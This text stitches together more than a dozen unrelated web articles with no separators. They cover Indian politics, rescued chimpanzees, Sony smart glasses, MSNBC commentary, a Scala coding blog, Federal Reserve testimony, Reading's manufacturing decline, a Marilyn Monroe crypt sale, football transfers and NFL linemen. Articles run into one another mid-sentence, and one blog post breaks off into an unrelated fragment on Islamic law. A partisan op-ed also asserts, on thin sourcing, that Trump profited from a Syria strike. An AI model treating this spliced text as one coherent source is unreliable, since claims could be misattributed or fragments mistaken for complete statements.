The reason why many analysts saw demonetisation as a political handicap and did not anticipate the huge groundswell of support for Modi is that they take a narrow view of voters as being driven by immediate economic self-interest. But voters, like stock market investors, are driven by future expectations and the effectiveness of political campaigns depends on their ability to shape these expectations. Campaigns are about promises, while policies are about actions to deliver on those promises. Yes, in the long run voters are driven by their economic interest, but in the short-run they must rely on their gut-feeling as to which leader, party, and policies will make them better off five years from now. This is where the credibility of the messenger and the narrative she or he provides for a path of change is critical, because all that the voters get is a promise, and the future is uncertain.
A brand that can take on the bad guys
This is exactly as in marketing. A brand needs to establish a market identity that signals trustworthiness and quality to the consumer and appeals to an aspirational lifestyle or self-image. In a soap ad, an image of a happy family vacationing in a picturesque resort tells us nothing about the quality of the soap a company is trying to sell. But if a rival were to try to compete with advertising about the chemical properties of a soap or the endorsement of experts, it is unlikely to get much traction. Just as an advertising campaign about a soap is often about linking the product with a vision about lifestyles or aspirations in the consumer’s mind, a political campaign is about spinning a narrative about what is wrong with the current situation, what is the vision for a better future, and who can be trusted to realise that vision. It hinges on the effectiveness of stories and not of policies.
Modi has created a new narrative of change that touches a chord with an aspirational India impatient with a scenario where they need to rely on the help and benevolence of elites whose credulity has been undermined by corruption scandals, dynastic politics, and charges of favouring some social group or the other. Through his biography and his track record, Modi has successfully cast himself as the hero of this new narrative: a tough, no-nonsense leader who is not afraid to take on anybody, whether it is the corrupt or the “anti-national” or foreign enemies. What his critics see as Modi’s authoritarian tendencies are precisely the traits that ordinary voters consider essential attributes of a tough guy who is trying to reform the system. Demonetisation was the equivalent to an initial scene in an action film where the vigilante hero played by Amitabh Bachchan or Clint Eastwood establishes his tough-guy credentials by doing something spectacular but not particularly relevant to the overall plot, like beating up a random bunch of hooligans. Once that was done, all Modi needed to do in UP was to show up and say, “I’m Narendra Modi, you know I will fight corruption, and demonetisation is just a taste of things to come”.
Indian voters like their movies long, and therefore, the short-term economic record under Modi might be of little relevance to them. However, they do like happy endings. At some point, then, promises and outcomes have to match. The trouble is, outcomes only become visible in the long-run, are affected by many external factors, and cannot be pinned down to specific policies. This can cut both ways – it is always possible for a politician or a party to blame other factors if the outcomes don’t look good, and to claim all the credit when they do. But with a long horizon, as Modi seems all set to have, no amount of good luck can cover the lack of substantive achievements. Moreover, extraneous factors can undermine credit for substantive achievements, as the last two Indian prime ministers, Atal Bihari Vajpayee and Manmohan Singh, both experienced. That is when the public gets hungry for a new narrative and a new credible messenger rises in the horizon. Like Obama did in 2008, Modi in 2014, and Trump in 2016.
This article first appeared on The Wire on 13 March 2017. Read the original here. It gives the views of the author, and not the position of the South Asia @ LSE blog, nor of the London School of Economics. Please read our comments policy before posting.
About the Author
Maitreesh Ghatak is Professor of Economics at LSE. He is Lead Academic on the IGC India-Bihar country team and Economic Organisation and Public Policy Programme Director at STICERD.Chimpanzees Terry and Jeannie formed an immediate bond after being introduced at the Save the Chimps sanctuary in Florida. Screenshot: Save the Chimps/Facebook video
FORT PIERCE, Fla., March 14 (UPI) -- A Florida sanctuary shared video of a chimpanzee refusing to let go of his new friend's hand after spending 18 years in solitude.
The Save the Chimps sanctuary said Terry the chimpanzee spent 18 years as the sole resident of his enclosure at the Las Vegas Zoo before he was brought to the sanctuary in September 2013.
The sanctuary said Terry was introduced to Jeannie, a chimp that spent 40 years undergoing medical testing in a laboratory, a couple of weeks ago and that the two primates formed an instant bond.
Molly Polidoroff, executive director of Save the Chimps, told ABC News Terry and Jeannie "went to each other and hugged" when they were introduced.
"It was an immediate affection," she said.
Terry & Jeannie became quite the internet sensation this week in the video featuring them holding hands the day they... Posted by Save the Chimps, Inc. on Saturday, March 12, 2016
The sanctuary posted a video on Facebook showing Terry and Jeannie holding hands at the sanctuary. The video shows Terry breaking contact for only a few short seconds while changing the position of his body.
"They didn't want to let go of each other's hand," the Facebook post said.
Jeannie, who was born in the wild before being captured and sold for medical testing, was rescued in 2002 and dubbed "Jeannie Momma" after sanctuary workers noticed her displaying maternal behavior toward the other chimps.Other than Google, Sony seems to be most bullish about the idea of putting head-up displays on everyone through the implementation of screen-equipped headsets. Today, the Japanese company reveals its latest experiment in this direction: an OLED microdisplay that attached to a person's glasses and provides relevant information in a "high-resolution" 640 x 400 color format. Two additional modules, which are designed to rest atop the wearer's temples, connect up to the microdisplay and provide it with an ARM processor, Bluetooth and Wi-Fi connectivity, an accelerometer, a touch sensor, and a 400mAh battery. Spec-wise, it's like attaching an Android Wear watch to your glasses.
Like the Google Glass headset, Sony's new concept will target sports and business applications first, though the company is keen to "promote the adoption of wearable devices in new areas, thereby contributing to the further development of the market." Sony wants to begin mass production at some point in the new year and will be showing off its headset at the Consumer Electronics Show in Las Vegas early next month — under the (presumably temporary) title of "SmartEyeglass Attach!" The original SmartEyeglass from Sony, which superimposes information on transparent lenses, is planned to go on sale by the end of March, so Sony will soon have a diversity of awkward-looking choices for people keen to cram more information into their daily lives.MSNBC’s Hardball host Chris Matthews provided a laundry list of quotable utterances on Tuesday night that began right from the start when he likened the Clintons to “used cars” being “total[ed]” by Donald Trump by bringing up the Clinton’s checkered pasts and later when he compared Trump and Bernie Sanders to politicians in Third World countries.
In the show’s very first minute, Matthews covered Trump’s suggestion that the Clintons were behind the death of then-deputy counsel and friend Vince Foster in 1993 as the possibility of foul play were supposedly “very serious” and how Foster died were “very fishy.”
It was in the seconds before those highlights that Matthews dropped the car analogy with Bill and Hillary Clinton plus Trump: “For weeks, Donald Trump has been totaling the Clinton like a pair of used cars. Now, he's smashing them with an even harder suspicion that the death of Bill Clinton’s deputy counsel Vince Foster back in 1993 was not a suicide.”
Matthews continued on the Foster angle and while speaking to USA Today’s Susan Page, he lamented that Clinton will be unable to solve her unfavorability problem if she’s having to reassure voters that she’s “not a murderer”:
[C]learly, one of the problems Hillary Clinton faces now is the old likeability thing. I’m not pushing it. It’s just there, but if she’s there defending herself against the murder charge, it's very hard to have a charm offensive. How do you say — don’t you like me? I’m not a murderer.
Moving forward roughly nine minutes, Matthews promoted New York Daily News columnist Mike Lupica’s latest piece on Bernie Sanders’s refusal to surrender to Hillary Clinton when Matthews let it slip that Clinton and the mainstream media think on the same wavelength: “I don't think he's [Sanders] operating in the same sort of world that Hillary Clinton and the objective journalists are.”
Going to the fourth and final piece of chicanery on the evening, the longtime MSNBC personality equated Trump and Sanders to presidential candidates from South Africa and Venezuela:
You're reading all this somewhere in Venezuela, they claim voter fraud. Somewhere in South Africa, they claim voter fraud. There's never an election where the loser doesn't say claim voter fraud and when they win they arrest the person who lost the election and throw them this jail where there’s Bhutto or whatever, they hang them. I mean, you listen to Trump and you listen to Bernie Sanders, it's beginning to sound like one of those what we used to call a Third World Countries[.]
Doing his best Sanders imitation, Matthews added that it’s hard to pinpoint the last time either one of them lost a primary and gave a concession speech along the lines of this: “I lost — I tried really hard we worked — I’ll do it in a Brooklyn accent. We really tried hard. We really tried hard. We lost by a billion votes. Why doesn't anybody do that anymore? We lost.”
The relevant portions of the transcript from MSNBC’s Hardball on May 24 can be found below.Cubicle 7’s Call of Cthulhu license expires at the end of the year and by mutual agreement with Chaosium it is not going to be renewed. There are no hard feelings on either side, and we are still on great terms - these things happen. Call of Cthulhu is Chaosium’s baby and we wish them all the best.
We’ve enjoyed working with Call of Cthulhu and Chaosium, but we’re also looking forward to the challenge of designing our own game systems for Cthulhu Britannica, World War Cthulhu and The Laundry. Putting together games that really showcase the themes of their setting is what we do best, after all! Keep an eye on the newsletter for more information in due course.
Stay tuned - we'll be holding a sale on our Call of Cthulhu titles in December!The following blog post, unless otherwise noted, was written by a member of Gamasutras community.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
I have been developing games for quite a few years now. I started out on the Amiga, and have worked on various different types of game, from casual sports games, through to FPS, retro games, racing games, puzzle games, and it is always a wonderful experience creating a new concept and taking it through to release.
My latest game though, in creative terms, is something rather unique. It is called ‘Best Buds vs. Bad Guys’, and I created the game with my son Lucas, who was 10-years old when we began (he is now 11, fast approaching 12!).
We both love playing games, and I have managed to get Lucas to appreciate the joys of classic gaming, and now he is a big fan of Mario, Sonic, Castlevania, Mega Man, and quite a few more! One day a few months ago we were chatting, and decided it might be fun to create a game together.
We actually call each other 'best bud’ in real life (or ‘best’ to keep it short). We are also both on the autistic spectrum, so we see the world in a slightly unique way. We wanted to get the message across that having a condition like Asperger’s doesn't prevent you from making your dreams and ambitions come true. Truth be told |
] historically worked differently from modern laws on marital rape, which originated in the 1970s. But the effect is similar: protection. Within marriage, wrongs regarding sex were not conceived of as violations of consent. They were conceived of as harm inflicted on the wife. And in Islamic history wives could and did go to courts to complain and get judges to order husbands to desist and pay damages. So yes, non-consensual sex is wrong and forbidden in Islam. But the operating element to punish marital rape fell under the concept of harm, not non-consent.”… Rachel Pugh, a Georgetown spokeswoman, provided this statement from the university: As an academic community, we are committed to academic freedom and the ability of faculty members to freely pursue their research and express their analysis. While we will defend this academic freedom, the body of a faculty member’s work does not necessarily represent the University’s position. The views of any faculty member are their own and not the views of the University.
Unless, of course, it’s a professor who discusses how jihadis use the texts and teachings of Islam to justify violence and supremacism (as if there were such a professor). That professor would be out on his ear in no time.The first thing you have to understand about drowning is that it doesn't look like drowning. Mario Vittone, a retired U.S. Coast Guard accident investigator, writes that the “Instinctive Drowning Response” is actually rather muted and undramatic: “Drowning is almost always a deceptively quiet event. The waving, splashing, and yelling that dramatic conditioning (television) prepares us to look for, is rarely seen in real life.”
Those who are truly drowning can't call for help, since that depends on being able to breathe. People inhale water and just try to stay on the surface long enough to clear their lungs. But drowning, by definition, means this isn't happening. At best, people seem to climb an “invisible ladder” in the water until they lose consciousness. It's completely instinctual. Once our animal programming kicks in, rational decision-making is over for the 20-60 seconds we have left. We drown because we stop thinking.
Knowing this, we might not question a drowning man for what he does in the water; though, we might criticize the decisions that put him in that position. Why didn't he take precautions—learn basic swimming, wear a life vest, stay away from the edge of the boat? Later, if he survives, we might ask, “What kind of idiot would…?” We'd be understandably disturbed. We'd want answers. We'd want to make sure some kind of rules were in place that would prevent it from ever happening again.
Seeing someone drown, even hearing a story about it, evokes one of our most instinctual fears. So it's not surprising that Politico's Philip Gordon goes through the same sort of upset in "Is Trump Wagging the Dog in Syria?" As the Trump Administration struggles to keep its head above water, Gordon questions the choices that may have brought the President to a point where destroying a cafeteria and a few broken-down MiG-23s seemed like a good idea: “With his popularity falling to unprecedented lows for a new president, and major legislative goals on health care and immigration blocked in Congress or in the courts, it’s not hard to believe that Trump would take a step that would dominate media’s attention, win plaudits from many in his party and some key allies abroad, and might even have some substantive merit.”
Gordon is right. It's not hard to believe because we've been watching Trump climb this invisible ladder since November. While it's true that Bashar al-Assad undoubtedly deserves reprisals from the international community for murdering his own people (again), it's equally true that Trump's sanctimonious, empty response is not only inconsistent with everything he previously said about Syria, but seems in line with his attempts to profit as much as possible from his position—maybe the only real consistent thing about him.
In fact, it’s likely that Trump just made a lot of money on the strike via his Raytheon holdings. Raytheon Inc. makes the Tomahawk missiles used in the attack. By shooting off $93.8 million worth in a hollow show of force, he has effectively generated close to $100 million for a company in which he’s a stockholder. Moreover, according to The Palmer Report, shares of Raytheon spiked shortly after the airbase was hit.
So is Trump struggling for air or is he doing exactly what he wants: getting paid while everything else flounders and sinks? The answer might be both. Remember, drowning doesn't look like drowning. Or, as the I-Ching puts it in “The Darkening of the Light”: “Not light but darkness/First he climbed up to heaven,/Then he plunged into the depths of the earth.” This describes a time when a small inferior man reaches the highest position of power only to destroy himself because his momentum was entirely based on "deconstructing the administrative state" or, in Trump's case, not having much of a plan beyond opposing everything associated with President Obama. Once he gets to the top, he has no idea what to build because everything about him was focused on destroying what was already there. Then the plunge starts.
As the Senate Intelligence Committee grinds toward the White House like some kind of apocalyptic death machine, Trump has got to know the hustle can't last forever. Even the longest con has an expiration date. Meanwhile, the FBI’s James Comey has started channeling the ghost of Wyatt Earp. And even the alt-right seems pissed. The Trump crime family has been alienating its guardians and servants, ruining careers, and throwing former collaborators under the bus—which would matter if Trump were serious about finishing his term and seeking re-election. But as of this recent bit of military theater, it's pretty clear that if he ever had long-term goals, he doesn't now.
Instead, the administration's remaining 20-60 seconds of air seem all about desperation: empty military gestures, self-congradulatory rhetoric so inflated it has become a unique language unto itself, successive staff shakeups while key positions remain unfilled, and an unprecedented degree of corruption aimed at the Trump family benefiting as much as possible before the inevitable spate of arrests. Politically, Trump's first three months show epic incompetence but, in terms of personal enrichment, he seems do be doing pretty well. Then again, most short-sighted grifters seem to do well for a while, at least until the inevitable plunge.
We know that beating on a bloodthirsty dictator is something the empire likes to do. It makes everyone feel righteous and pure, especially when a GOP government is publicly soiling itself in front of the world. It's cathartic; it makes money; and it often generates a rally-around-the-flag effect that bumps approval ratings. But what it can't do is keep a drowning administration afloat. It's a distract-and-delay tactic at best.
The moment is almost upon us when we'll ask, “What kind of idiot would…?” We’re understandably disturbed. And we’ll want to make sure rules are put in place to prevent Trump from ever happening again. Because drowning may not look like drowning when missiles are being shot off and grand speeches are being made about all the "beautiful Syrian babies" that aren't allowed into the States. But watching our government go under evokes our deepest, most instinctual fears about the stability of our nation and who we really are. We know the water is deep.Nigerian police have rescued Christian Obodo without the payment of a ransom demanded by his abductors.
Officers tracked his alleged abductors to Isoko, just outside Warri, on Sunday, where they found Obodo and arrested some suspects.
The midfielder was abducted by unknown gunmen near the oil city of Warri in southern Nigeria on Saturday.
The kidnappers had issued a ransom demand for nearly US$200,000 (£129,000).
Obodo, who was on loan at Italian side Lecce from rivals Udinese last season, was driving alone early on Saturday morning when he was abducted.
It is not the first time a footballer has been kidnapped in Nigeria.
International defender Onyekachi Apam was kidnapped by armed men who took his car before releasing him.
Nornu Yobo, elder brother of Everton defender Joseph, was famously kidnapped in 2008 in oil-rich Port Harcourt.
Nornu was released after 10 days but it was never made clear whether a ransom was paid.
Last year, the father of Chelsea midfielder John Mikel Obi was also seized in Jos, north-central Nigeria.
Nigerian police, however, rescued Micheal Obi senior from his abductors days later.Several senators questioned Yellen over the potential of speculation and creation of asset bubbles created by Fed policy. She generally has dismissed charges that the Fed has caused dangers but did acknowledge the potential.
"When interest rates begin to rise, if firms or individuals have taken risks and aren't adequately prepared to deal with them that can cause distress," she said. "Among the institutions that we supervise we're certainly looking at management of interest rate risk."
In her initial remarks during semi-annual testimony to Congress, Yellen said there were signs of a production and spending rebound in the second quarter, but "this bears close watching."
Yellen also noted that housing activity has been disappointing, with the sector showing "little progress" of late with readings this year "disappointing" as mortgage rates have edged higher.
The remarks were part of what once was known as the "Humphrey Hakwins" testimony in which the central bank chief apprises lawmakers of the state of policy and the U.S. economy. Yellen's testimony came as the Fed looks to end its monthly bond-buying program—currently at $35 billion—and contemplates when to begin raising short-term interest rates from near-zero levels.
Some of the questioning got a bit more granular, though. Sen. Elizabeth Warren, D-Mass., questioned Yellen on whether large financial institutions remained a threat the economy. She pointed out that JPMorgan Chase, for instance, has 3,391 subsidiaries—more than three times the number of Lehman Brothers when it failed in 2008 and triggered the worst of the financial crisis.
For the most part, though, the exchanges were cordial, with Yellen straddling the line between expressing confidence in the recovery and caution that the central bank's job is not finished.
Read MoreLooks like the Fed wants to have even more power
"The economy is continuing to make progress toward the Federal Reserve's objectives of maximum employment and price stability," Yellen said.
She cautioned, though, that it's important for policymakers not to get overly optimistic about the pace of recovery, indicating continued concern over whether the economy is ready to stand on its own.
"We need to be careful to make sure that the economy is on a solid trajectory before we consider raising interest rates," Yellen said during questioning. "I think the forward guidance that we have provided in the policies that we have put in place are providing a great deal of accommodation to the economy to make sure that it is on a solid trajectory."READING, Pa. (AP) -- In August 2008, factory workers David and Barbara Ludwig treated themselves to new cars — David a Dodge pickup, Barbara a sporty Mazda 3. With David making $22 an hour and Barbara $19, they could easily afford the payments.
A month later, Baldwin Hardware, a unit of Stanley Black & Decker Corp., announced layoffs at the Reading plant where they both worked. David was unemployed for 20 months before finding a janitor job that paid $10 an hour, less than half his previous wage. Barbara hung on, but she, too, lost her shipping-dock job of 26 years as Black & Decker shifted production to Mexico. Now she cleans houses for $10 an hour while looking for something permanent.
They still have the cars. The other trappings of their middle-class lifestyle? In the rear-view mirror.
The downfall of manufacturing in the U.S. has done more than displace workers and leave communities searching for ways to rebuild devastated economies. In Reading and other American factory towns, manufacturing's decline is a key factor in the widening income gap between the rich and everyone else, as people like the Ludwigs have been forced into far lower-paying work.
It's not that there's a lack of jobs, but gains often come at either the highest end of the wage spectrum — or the lowest.
"A loss of manufacturing has contributed to the decline of the middle class," said Howard Wial, an economist with the Brookings Institution and the University of Illinois at Chicago. "People who are displaced from high-paying manufacturing jobs spend a long time unemployed, and when they take other jobs, those jobs generally pay substantially less."
Globalization, automation and recession destroyed nearly 6 million manufacturing jobs between 2000 and 2009. In Pennsylvania, between 2001 and 2011, 258,000 middle-income factory jobs were lost. At the same time, Pennsylvania added jobs at the lower end of the wage spectrum — in health care and social services — and at the highest end, in sectors like management and finance.
Berks County, of which Reading (pronounced REH'-ding) is the county seat, is a mirror of that larger problem.
Decades ago, Reading was a mighty manufacturing town where the Reading Railroad — once the world's largest company, now a spot on the Monopoly board — built a 19th-century transportation empire, and factories produced everything from hats to hardware. At one time, the city boasted so many manufacturing jobs that you could quit one, cross the street and easily land another, longtime residents say.
"You made a very, very good middle-class living. You could get a new car every couple years, send kids to college," recalled Ed McCann, Berks County's longtime director of workforce development.
Then the factories shut down. The wealthy fled to the suburbs, their grand Gilded Age mansions carved up into apartments, and poor immigrants moved in. Now Reading, population 88,000, is one of the nation's neediest cities, with more than 40 percent of its residents living in poverty, up from 19 percent in 1990.
As poverty grew, so too did the gap between the rich and everyone else. The difference between the income earned by the wealthiest 5 percent in Berks County and by a median-income household rose 13.2 percent in 20 years, according to the U.S. Census Bureau. Nationally, the wealth gap became even more pronounced, increasing 15.8 percent.
Six years after David Ludwig lost his factory job, the couple have exhausted their retirement savings. They don't go out to eat or spend on their grandchildren.
Barbara, 56, said she has applied for more than 200 jobs since January and gotten one offer, as a shipping clerk, for $7.50 an hour. She has lost 40 pounds, blaming it on the stress.
"I don't mind wearing the big baggy clothes, but just to put money aside to buy one or two bras because I lost too much weight, I couldn't even do that. It sounds silly, but it's true," she said.
The toll can also be seen at the Greater Berks Food Bank. It distributed 7.2 million pounds last year, up from 2.5 million pounds in 2001, and the food bank plans to move into a larger building to accommodate the surging demand.
The latest wave of plant closures, beginning around the turn of the millennium, hit companies like Dana Corp., Agere Systems, Luden's, Glidden and Baldwin Hardware. Some 9,300 jobs evaporated between 2001 and 2011 — nearly a quarter of Berks County's manufacturing base, according to Penn State economists Theodore Alter and Theodore Fuller. They were replaced by jobs in lower-wage sectors like education and especially health care, a phenomenon that has played out around the state and nation.
Story continuesFor sale: eternity with Marilyn Monroe
Elsie Poncher wants to sell the crypt, now occupied by her husband, above the actress to help pay off her Beverly Hills mortgage. Her starting price on EBay: $500,000.
Elsie Poncher plans to start the bidding at $500,000 when she places the crypt on EBay, making it -- on a per-square-foot basis -- one of the most expensive pieces of real estate on the market.
"I can't be more honest than that," she said. "I want to leave it free and clear for my kids."
So although the plaque on Poncher's crypt reads: "To the man who gave us everything and more," his wife, Elsie, is hoping that he has just a little more to give. She wants to use the money to help pay off the $1.6-million mortgage on her 1 3/4 acre Beverly Hills home.
The onetime Beverly Hills resident, who died 23 years ago at the age of 81, will be moving out of the crypt above Marilyn Monroe's resting spot at the Pierce Brothers Westwood Village Memorial Park cemetery. Poncher's wife intends to sell the crypt, said to have once been owned by Monroe's former husband, Yankee great Joe DiMaggio.
Richard Poncher was a serial entrepreneur, to hear his wife tell it, who made a fortune with a variety of electronics firms and once sold surplus U.S. Army airplanes and parts. She claims that he built two bulletproof cars for Al Capone and owned 12 Rolls-Royces in his lifetime.
"He wasn't afraid to tackle anything," Elsie said. "Besides that, he was a helluva nice guy."
She said they lived a colorful, outsized life after meeting in Chicago and moving West. "He knew all the gangsters," Elsie said.
They ate at the legendary Los Angeles restaurants that catered to Hollywood -- the Brown Derby, Chasen's and Perino's. They owned an apartment at the Peninsula Hotel in Hong Kong.
The house where Poncher's widow still lives is something of a museum, with a Picasso drawing tucked away in a back hall and signed prints by him and Chagall on the living room wall. When she brings out a photo of her husband dressed in a conservative black suit and her wearing a saucer-sized pendant with rubies and diamonds, she tells a story of how it came from a deal her husband did with a relative of King Farouk of Egypt.
Elsie said her husband bought the crypt from DiMaggio during his 1954 divorce from Monroe. She doesn't remember Poncher being particularly enamored of Monroe. The actress didn't commit suicide until 1962, so Poncher had no idea what an icon she would become in death or that she'd someday be entombed at the Westwood cemetery.
Elsie isn't sure how her husband knew DiMaggio.
"He knew a lot of people," she said with a wave of her hand.
The couple were at the Regency Hotel in New York talking to DiMaggio, she said, when the retired ballplayer asked, "You want to buy two crypts?"
"Who the hell wants two crypts?" her husband replied.
He must have had a change of mind, because he bought them, one for him and one for his wife.
Elsie, wearing gray sweats and with long pink fingernails, admits to being in her 70s but is quick to add, "I do 20 laps in the pool every day." She said that when she sells the crypt, she'll put her husband's remains in the one reserved for her, and when her time comes, she'll be cremated.
This will be the second time that Poncher's long sleep has been disturbed.
When he was dying, Elsie said, her husband approached her with a request. "He said, 'If I croak, if you don't put me upside down over Marilyn, I'll haunt you the rest of my life.' "
Right after the funeral, Elsie said, she told the funeral director of her husband's wish. "I was standing right there, and he turned him over," she said.Whether it be romantic, familial, or friendly, forming a strong, long-lasting relationship with someone in real-life can be incredibly difficult. It takes time, dedication, and a great deal of love to make it work. Plus, you don't have the luxury of the so-called "red string" that a fictional relationship has, meaning that there is no guarantee that the relationship will work out in the end.
The trade-off is that in a fictional relationship, it's not enough for the relationship to just exist. It also has to be interesting enough for people to care about it, especially for the author. Aside from that and the fact that it's purely imaginary, a fictional relationship at its core is no different from a real one. It requires an exuberant amount of time, dedication, and love to make it work. Because when you bring those three elements together, something is guaranteed to be created, even if it's not what you originally had in mind.Over the last couple of days I have been trying to implement the Sharing Problem (Ruby Quiz #65: Splitting the Loot) in Scala. So far I have implemented the greedy pick algorithim and still need to implement a recursive solution that will brute force the edge cases.
However on the way I think I have picked up some important lessons. You can see the code for yourself in the GitHub project related to the problem and the solution (it’s in the Scala directory) but I will be highlighting some of the code in this post.
This was the first set of Scala I’ve done that was actually an attempt to use some of the functional aspects of Scala rather than just porting Java code in a more or less literal and imperative way. After struggling a little bit with the implict return and list concatenation I implemented the greedy heuristic. This is what it looked like (link to the code file).
import gems._ package splitter { class LootSplitter object LootSplitter { def splitLoot(gembag: GemBag, shares: Int): List[GemBag] = { if((gembag.totalValue % shares)!= 0) { return List[GemBag]() } val individualShareValue = gembag.totalValue / shares var partShares: List[GemBag] = List.make(shares, new GemBag(List())) gembag.gems.sort(_.value > _.value).foreach((gem: Gem) => { partShares = partShares.sort(_.totalValue < _.totalValue) partShares = List(partShares(0) add gem) ::: (partShares drop 1) }) partShares } } } } I was struck initially by how compact this code was, you are looking at about 28 lines of code. However as I was looking at it I began to wonder whether it was concise or just terse. How is someone meant to interpret something like _.value > _.value? I showed it to a collegue and his first reaction was “I don’t know functional languages so I wouldn’t know what this means”. This was exactly the kind of reaction I was afraid of because I have been converted heavily to the principal of readable code. Someone should be able to scan code and understand, in principle, what is happening here. If they don’t then the cost of maintaining that code is going to be higher and we have actually lost something in the concise syntax. I decided to try and implement a readable version of the same file which added about 6 lines (only two according to GitHub!). You can read this version here but now I want to throw it open to the public. Is this version actually easier to read? Are things like the underscore variable actually part of the price of comprehending Scala? In my rewritten version I use some of the nice features of Scala such as first order functions but you still have lines like this: List(sortedBags(0) add gem) ::: (sortedBags drop 1) I hope you are reading this as “add a gem to the first sortedBag and make a List of it and then add all the other bags except the first one to the new list” but I am worried that this is far from obvious. Is that because I’ve done something that isn’t idiomatic or is it because actually the operators and the library API are too obscure? Scala represents a significant evolution of Java in terms of absorbing all the lessons learned during the evolution of the language. When porting Java code I feel far more comfortable with it than when I am trying to create new code that uses the core language libraries. I don’t want to evolve to a new set of problems and best practices that try to avoid them.Mourinho has bought a home in the capital
Jose Mourinho is likely to want a complete overhaul of the club’s coaching set-up
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The Real Madrid boss is favourite to take over the Stamford Bridge hot seat this summer, following the likely departure of interim boss Rafa Benitez.But it is understood the Portuguese coach has made it clear he does not want to work with Emenalo, 47, who has risen to prominence at Stamford Bridge in the six years since arriving as chief scout.The Nigerian is seen as the eyes and ears of owner Roman Abramovich and Mourinho, 50, wants to be given freedom to run the team his way, without interference.Despite Emenalo’s status at Chelsea, it is believed his power has now waned as he played a key role in persuading Russian tycoon Abramovich to go for Benitez as interim boss.Abramovich has not been impressed by Benitez, with the club in danger of missing out on Champions League qualification.Mourinho is likely to want a complete overhaul of the club’s coaching set-up, but has made Abramovich well aware of his desire to return to London.The pair are on good terms again following their difficult split in September 2007.Starsport revealed last year how Mourinho has bought a home in London and allowed his daughter, Tita, to enrol at a local arts college.It is believed Mourinho is also interested in the Paris St-Germain job, which could become vacant if ex-Chelsea boss Carlo Ancelotti takes his place at Real Madrid.Meanwhile, Chelsea face a potential fixture pile-up if they beat Steau Bucharest in the Europa League tomorrow.The Blues are 1-0 down from the away leg but cannot rearrange their FA Cup replay with Manchester United until they know if they have reached the quarter-finals.Next week is a non-starter due to the international break, meaning the FA Cup tie at Stamford Bridge could be staged as late as the weekend of April 6, just a week before the semi-finals at Wembley.This is a multi-part series covering several areas of offensive line play in 2017; predictions on the five best OL units, top 3 OL at each position based on tape study, surprise OL unit, top backup OL, and a Q&A session with Chiefs RT Mitchell Schwartz – covering different aspects of his career and OL play in general. Part 4 looks at the top three linemen at each position along the offensive line.
The NFL’s Elite – Top 3 at Each Position
Left tackle:
Tyron Smith – Cowboys
Smith is the prototypical LT; size, length, build, athleticism, strength, and power are all elite. Not only are his physical traits extraordinary, his skill set in terms of sustaining blocks, hand usage, zone/man blocking, use of leverage, and efficiency are all equally impressive. Plus he did this 30+ times in 2016.
Alternating Williams for Smith here is a reasonable take, although Smith is a better overall run-blocker, with Williams getting the nod on pulls and blocking in space.
Trent Williams – Washington
Much like Smith, Williams is a genetic and physical freak of nature capable of remarkable feats using a rare blend of quickness, balance, and power. There is no better OT in the league at pulling and blocking in space:
Watch how Trent Williams pulls & works ‘inside-out’ on this CB. This ability to line up a much faster/smaller target in space is rare. #HTTR pic.twitter.com/OIM0qUKsmt — Brandon Thorn (@VeteranScout) January 3, 2017
Lastly, Williams gave us one of the more memorable games of 2016 from any OL when he lined up at LG for the first time and dominated:
Joe Thomas – Browns
Thomas is three years older than Williams and six years older than Smith, but remains in the top-tier of LTs in the NFL. Thomas has a very good athletic base stemming from his days at Wisconsin with the best vertical set in football, and unmatched discipline in every area of his game, including the ability to stay square to the line of scrimmage (LOS) in pass protection until the last possible moment, preventing rushers from rarely ever having a two-way go to the inside:
Death, taxes, and Joe T’s vertical set pic.twitter.com/fHZtu06t97 — Brandon Thorn (@VeteranScout) March 4, 2016
When rushers are able to counter inside, Thomas seamlessly transitions to a power step to cut off and wash down. Thomas is the only OL in history to make the Pro Bowl in each of his first 10 seasons, and has never missed a snap. That’s 160 consecutive starts with no significant signs of slowing down.
Left Guard:
Kelechi Osemele – Raiders
As previously mentioned, KO’s presence on the field makes grown men hesitate and run from him due to his size, strength, power, and unmatched aggression. There is really no question on whether or not he is the best LG in football, it is more a conversation about how far ahead he is from everyone else.
Richie Incognito – Bills
Incognito is in a similar mold as KO, although not as strong or powerful, albeit still being very good in each area. The former Dolphin excels most as a puller and getting underneath first-level defenders at the point of attack (POA) to hit, lift, and drive them off the ball.
After being out of the game in 2014, Incognito has started every game the last two seasons and enters 2017 at 34-years-old, playing better than he has in his entire career.
Andrew Norwell – Panthers
Ramon Foster was a consideration here, as was Joel Bitonio, but Norwell’s dependability (only one to start all 16 games last season), combined with age (25), and production were all deciding factors for his selection.
Norwell has been an up and coming OG for a couple of years now, going back to the 2015 season when I was first exposed to the UDFA out of Ohio State:
#PanthersOL grinding the Cowboys D down on Thanksgiving. Andrew Norwell looked good in his return @trai_turner pic.twitter.com/DXdmpbsNcf — Brandon Thorn (@VeteranScout) November 29, 2015
Norwell wins with very good square power, capable of knocking defenders off their spot at the POA in the power run game, and being an effective puller using his mobility to get underneath smaller defenders and drive them:
Norwell showing good ability to bend & flex in his lower half to get his pads down to meet contact. Nice little something extra at the end? pic.twitter.com/laJXKVVSoh — Brandon Thorn (@VeteranScout) June 14, 2017
Norwell also uses angles to his advantage at the 2nd level, overcoming his average athleticism with efficiency, violence, and power:
Not all pulls need to result in bodies on the ground. Norwell adjusts his track nicely upfield to block inside-out on the LB + brings hips? pic.twitter.com/FdPSHcGR4T — Brandon Thorn (@VeteranScout) June 14, 2017
Norwell’s ability to deliver a jolt on contact stems from aligning his hips and elbows at the POA, facilitating optimum power through his hands. Paired with explosive hip extension and violent intent, Norwell often jars defenders and contributes to Carolina’s renown physicality:
Norwell is also a solid pass-protector; showing good spatial awareness when uncovered to look for work and assist his linemates on stunts/twists. Identifies threats quickly and has a stout anchor to halt most speed-to-power attempts.
Norwell enters 2017 in his 4th season, starting 9, 13, and 16 games each of the last 3 seasons. This also is a huge opportunity for Norwell to earn a big contract; he will be an unrestricted free agent in 2018 and only 26-years old. With Panthers C Ryan Kalil back healthy, expect Norwell’s production on double teams, combo blocks, and pass protection to steadily increase.
Center:
Travis Frederick – Cowboys
Frederick has carved out an incredibly impressive career thus far; zero games missed in his first four seasons, and he is still just 26-years-old. There is simply nothing Frederick cannot do at a high level and he remains a rock on the most talented OL in football.
Alex Mack – Falcons
There is a strong argument for Mack being tops on this list, and I wouldn’t prolong the argument very far if others had him as the best in the game. Much like Frederick, Mack has no glaring weaknesses, but is nearly five years older than Frederick and is coming off of a broken bone in his leg. It should be mentioned that he elevated his ironman status by playing in last year’s Super Bowl with the injury, and has played in all 16 games in seven of his eight career seasons.
Rodney Hudson – Raiders
